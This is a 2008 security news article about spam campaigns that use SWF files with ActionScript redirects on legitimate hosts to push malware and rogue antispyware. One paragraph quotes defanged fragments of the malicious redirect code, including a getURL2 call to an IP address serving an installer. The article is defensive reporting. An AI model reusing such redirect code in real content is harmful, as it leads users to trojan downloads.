

28 August 2008

By: Lucian Constantin, Web News Editor

ActionScript/SWF
Redirect Spam
Weblogs, Inc.

[The Current Trend in Spam is Using SWF Redirects](#)

The use of ActionScript redirects within SWF files is becoming a common practice for spammers

One of the new trends in spam e-mails used for malware distribution is the use of maliciously crafted SWF files hosted on legitimate servers. The ActionScript code of the files includes a redirect that takes users to websites that host malware or prompts them to download the malware directly.

The beginning of August marked a spike in spam e-mail distribution that reached around 10 million spam e-mails according to the [statistics](#) released by the Commtouch Spam Lab. The number kept high during the entire month averaging around 7 million compared to 5 million last month. Their Zombie Lab [statistics](#) show an average number of 10 million zombie computers. This could be an indication that the increase in spam e-mail is connected to malware distribution.

The outbreak in spam e-mails using SWF redirects appears to have started at the end of July when over 7000 links to malicious SWF files hosted on legitimate servers were created. Alex Eckelberry, CEO of Sunbelt Software, posted several analyses of such SWF files on the [Sunbelt Blog](#). One of the mostly used servers to host the files appears to be ImageShack, a very popular free online media hosting service.

The e-mails are trying to trick the user into opening a link by various methods like claiming they offer Vista security updates, free security software or interesting videos. The links can either be displayed in plain text or html format, in both cases the browsers having no problem in opening them and playing the SWF files.

An analysis of the ActionScript code shows different redirect techniques. The function used is the `getURL`, but the links can be obvious like in `getURL(hxxp://url_path/?wmid=44&sid=44' "` or hidden like in constants `'http://89 187 49 18/install exe', '_self' | push 'http://89 187 49 18/install exe', '_self' | getURL2`, regarding the last one Alex Eckelberry [noting](#) that "this is a typical spam you see these days, pushing an install of trojan that, if installed, typically downloads a rogue malicious antispyware program."

The practice of SWF redirects is not new itself, being used for a long time now in [malvertisements](#), ads that serve malicious content. These kind of ads made their way onto a lot of pages due to the lack of serious inspection and solid security practices from the advertisement networks. Also this is not the only ActionScript/SWF based technique for spreading malware. We previously [reported](#) about a form of malvertisement that hijacks the users' clipboard, the wide spread of flash making it browser/OS-independent.